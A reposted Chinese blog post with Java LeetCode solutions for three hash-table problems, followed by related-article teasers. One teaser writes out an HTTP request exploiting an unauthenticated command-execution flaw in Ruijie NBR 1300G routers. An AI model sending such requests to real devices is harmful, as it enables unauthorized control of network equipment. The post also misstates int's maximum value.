LeetCode——哈希表(Java)

news2024/12/22 19:31:09

哈希表

  • 简介
  • 242. 有效的字母异位词
  • 349. 两个数组的交集
  • 202. 快乐数

简介

记录一下自己刷题的历程以及代码,会尽量把在本地测试包含main函数的完整代码贴上,以及一些注释掉的输出语句。写题过程中参考了 代码随想录。会附上一些个人的思路,如果有错误,可以在评论区提醒一下。

242. 有效的字母异位词

原题链接

最容易想到的就是开两个 26 大小的数组分别做字符统计,然后比较,稍微简化一些可以在单个数组上做统计比对。
这道题放在哈希表系列之下,我想s.charAt(i) - 'a'就是一种hashFunction(),把每个字符对应到一个数组下标从而进行统计

class Solution {
    public boolean isAnagram(String s, String t) {
        int[] count = new int[26];
        for(int i = 0; i < s.length(); i++){
            count[s.charAt(i) - 'a']++;
        }
        for(int i = 0; i < t.length(); i++){
            count[t.charAt(i) - 'a']--;
        }
        for(int i = 0; i < 26; i++){
            if(count[i] != 0) return false;
        }
        return true;
    }
}

349. 两个数组的交集

原题链接

方法①:使用HashSet 写起来方便,效率比较低

class Solution {
     public int[] intersection(int[] nums1, int[] nums2)  {
        HashSet<Integer> set1 = new HashSet<>();
        HashSet<Integer> set2 = new HashSet<>();
        for( int i : nums1){
            set1.add(i);
        }
        for( int i : nums2){
            if(set1.contains(i)){
                set2.add(i);
            }
        }
        return set2.stream().mapToInt(x -> x).toArray();
    }
}

方法②:List + 数组遍历

public int[] intersection(int[] nums1, int[] nums2)  {
        int[] count1 = new int[1001];
        int[] count2 = new int[1001];
        List<Integer> ansList = new ArrayList<>();
        for(int i = 0; i < nums1.length; i++){
            count1[nums1[i]]++;
        }
        for(int i = 0; i < nums2.length; i++){
            if(count1[nums2[i]] != 0 && count2[nums2[i]] == 0){
                count2[nums2[i]]++;
                ansList.add(nums2[i]);
            }
        }
        int ans[] = new int[ansList.size()];
        int index = 0;
        for(int i : ansList){
            ans[index++] = i;
        }
        return ans;
    }

方法①和方法②的效率差距
在这里插入图片描述

202. 快乐数

原题链接
题目中说不是快乐数的情况下,sum会一直循环,也就是当sum重复出现的时候,他就不会是一个快乐数了(这个我感觉题面上给的不是很直接),那么只要对sum出现的情况做统计,就可以判断n是否是快乐数。
方法①:在数组上进行统计,int类型最大值 2147483645 最大的情况下也就是十位数,每一位平方总和不会大于 9 * 9 *10;

class Solution {
    public boolean isHappy(int n) {
        int[] count = new int[850];
        while(n != 1){
            int sum = 0;
            while(n > 0){
                sum += (n % 10) * (n % 10);
                n = n / 10;
            }
            if(count[sum] != 0) return false;
            count[sum]++;
            n = sum;
        }
        return true;
    }
}

方法②:利用HashSet做统计,HashSet不会储存重复的元素。

class Solution {
    public boolean isHappy(int n) {
        HashSet<Integer> set = new HashSet<>();
        while(n != 1){
            int sum = 0;
            while(n > 0){
                sum += (n % 10) * (n % 10);
                n = n / 10;
            }
            if(set.contains(sum)) return false;
            set.add(sum);
            n = sum;
        }
        return true;
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1144779.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

LCD屏硬件调光的几种方式

一 前言 最近新开的项目用到了LCD屏&#xff0c;关于LCD屏的调光&#xff0c;主板硬件主要用到了偏压IC与背光IC。关于偏压IC,我们后期再聊&#xff0c;今天主要聊一聊背光IC&#xff0c;以及它的调光方式。 二 LED电路设计 在聊背光IC前&#xff0c;首先要对LCD屏的电压电流…

C++学习day--24 推箱子游戏图像化开发

环境要求&#xff1a; 1、VS2015以上 2、成功安装并配置图形库 项目注意事项&#xff1a;代码复制好以后&#xff0c;把下面的字符集改为多字节字符集 第 1 节 项目需求 实现一款推箱子游戏&#xff0c;效果如下图所示 , 具体规则&#xff1a; 1. 箱子只能推动而不能拉动…

X86 SMAP(Supervisor Mode Access Prevention)机制引入的一个问题分析

在Linux系统中&#xff0c;当涉及到用户态和内核态数据拷贝的时候&#xff0c;如果不考虑建立kernel space和user space的共享映射实现的零拷贝情况&#xff0c;一般是调用copy_from_user/copy_to_user/put_user/get_user几组宏来实现的。在早些时候&#xff0c;对于用户态指针…

STM32F4X SDIO(一) SD卡介绍

STM32F4X SDIO&#xff08;一&#xff09; SD卡介绍 SD卡分类外观分类容量分类传输速度分类 在之前的章节中&#xff0c;讲过有关嵌入式的存储设备&#xff0c;有用I2C驱动的EEPROM、SPI驱动的FLASH和MCU内部的FLASH&#xff0c;这类存储设备的优点是操作简单&#xff0c;但是缺…

同步网盘推荐及挑选指南:便捷、安全、适用的选择

同步网盘是最近热门的文件协同工具之一&#xff0c;因其使用的便捷性受到了诸多用户的青睐。如今网盘市场产品众多&#xff0c;有什么好用的同步网盘&#xff1f;如何挑选同步网盘&#xff1f;是许多需求者关心的问题。 如何挑选同步网盘&#xff1f;在同步网盘挑选过程中要从…

GZ035 5G组网与运维赛题第4套

2023年全国职业院校技能大赛 GZ035 5G组网与运维赛项&#xff08;高职组&#xff09; 赛题第4套 一、竞赛须知 1.竞赛内容分布 竞赛模块1--5G公共网络规划部署与开通&#xff08;35分&#xff09; 子任务1&#xff1a;5G公共网络部署与调试&#xff08;15分&#xff09; 子…

详解Jmeter中的BeanShell脚本

BeanShell是一种完全符合Java语法规范的脚本语言,并且又拥有自己的一些语法和方法&#xff0c;所以它和java是可以无缝衔接的&#xff0c;学了Java的一些基本语法后&#xff0c;就可以来在Jmeter中写写BeanShell脚本了 在利用jmeter进行接口测试或者性能测试的时候&#xff0c…

Vue--》简易资金管理系统后台项目实战(前端)

今天开始使用 vue3 + ts + node 搭建一个简易资金管理系统的前后端分离项目,因为前后端分离所以会分两个专栏分别讲解前端与后端的实现,后端项目文章讲解可参考:后端链接,我会在前后端的两类专栏的最后一篇文章中会将项目代码开源到我的github上,大家可以自行去进行下载运…

C++多态(超级详细版)

目录 一、什么是多态 二、多态的定义及实现 1.多态构成条件 2.虚函数的重写和协变 虚函数重写的两个例外&#xff1a; 2.1协变 2.2析构函数的重写 &#xff08;析构函数名统一处理成destructor&#xff09; 3.重载、覆盖(重写)、隐藏(重定义)的对比 4.final 和 overr…

在本地模拟C/S,Socket套接字的使用

public class SocketTCP01Server {public static void main(String[] args) throws IOException {/**1.在本机的 9999 端口监听 &#xff0c;等待连接细节&#xff1a; 要求在本机没有其他服务在监听999细节&#xff1a;这个ServerSocket 可以通过accept()返回多个Socket[多个客…

指针仪表读数YOLOV8NANO

指针仪表读数YOLOV8 NANO 采用YOLOV8 NANO训练&#xff0c;标记&#xff0c;然后判断角度&#xff0c;得出角度&#xff0c;可以通过角度&#xff0c;换算成数据

End-to-End Adversarial-Attention Network for Multi-Modal Clustering

方法 融合表征h f _f f​ ∑ v \sum_v ∑v​w v _v v​ h v h^v hv 辅助信息 作者未提供代码

2558. 从数量最多的堆取走礼物

2558. 从数量最多的堆取走礼物 难度: 简单 来源: 每日一题 2023.10.28 给你一个整数数组 gifts &#xff0c;表示各堆礼物的数量。每一秒&#xff0c;你需要执行以下操作&#xff1a; 选择礼物数量最多的那一堆。如果不止一堆都符合礼物数量最多&#xff0c;从中选择任一…

Java工具库——Commons IO的50个常用方法

工具库介绍 Commons IO&#xff08;Apache Commons IO&#xff09;是一个广泛用于 Java 开发的开源工具库&#xff0c;由Apache软件基金会维护和支持。这个库旨在简化文件和流操作&#xff0c;提供了各种实用工具类和方法&#xff0c;以便更轻松地进行输入输出操作。以下是 Com…

基于51单片机的温度测量报警系统的设计与制作

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、实习目的二、实习任务2.1 设计温度测量报警系统硬件电路2.2 温度测量报警系统软件编程、仿真与调试&#xff1b;2.3 完成温度测量报警系统的实物制作与调试…

【蓝桥每日一题]-前缀和与差分(保姆级教程 篇2)#差分序列

昨天讲的概念和模板&#xff0c;今天讲一个差分序列的好题(好好体会里面的优化思想)&#xff1a; 目录 题目&#xff1a; 思路&#xff1a; 题目&#xff1a; 手动打出样例哈 输入&#xff1a; 输出&#xff1a; 4 …

Android问题笔记四十二:signal 11 (SIGSEGV), code 1 (SEGV_MAPERR) 的解决方法

点击跳转>Unity3D特效百例点击跳转>案例项目实战源码点击跳转>游戏脚本-辅助自动化点击跳转>Android控件全解手册点击跳转>Scratch编程案例点击跳转>软考全系列 &#x1f449;关于作者 专注于Android/Unity和各种游戏开发技巧&#xff0c;以及各种资源分享&…

etcd的mvcc源码剖析

mvcc简介 悲观锁 在对于一些临界资源进行读写的时候&#xff0c;为了防止其他人进行同步的修改数据&#xff0c;直接将当前的数据锁住&#xff0c;不让别人使用&#xff0c;来实现并发安全 乐观锁 在对临界资源进行操作的时候&#xff0c;不锁住数据&#xff0c;实现独占&…

锐捷NBR 1300G路由器 越权CLI命令执行漏洞

执行查看版本的命令不需要其它权限&#xff0c; 访问url&#xff1a; /WEB_VMS/LEVEL15/构造payload数据包&#xff1a; POST /WEB_VMS/LEVEL15/ HTTP/1.1commandshow version&strurlexec%04&mode%02PRIV_EXEC&signnameRed-Giant.回显如下&#xff1a; 测试发现…

软件测试之单元测试

前言 为什么我们需要测试&#xff1f; 让产品可以快速迭代&#xff0c;同时还能保持高质量 对于一些相对稳定的系统级别页面&#xff0c;自动化测试在提高测试的效率的方面起到非常重要的作用。前端的自动化测试主要包括&#xff1a;浏览器测试和单元测试。Vue官方脚手架自带…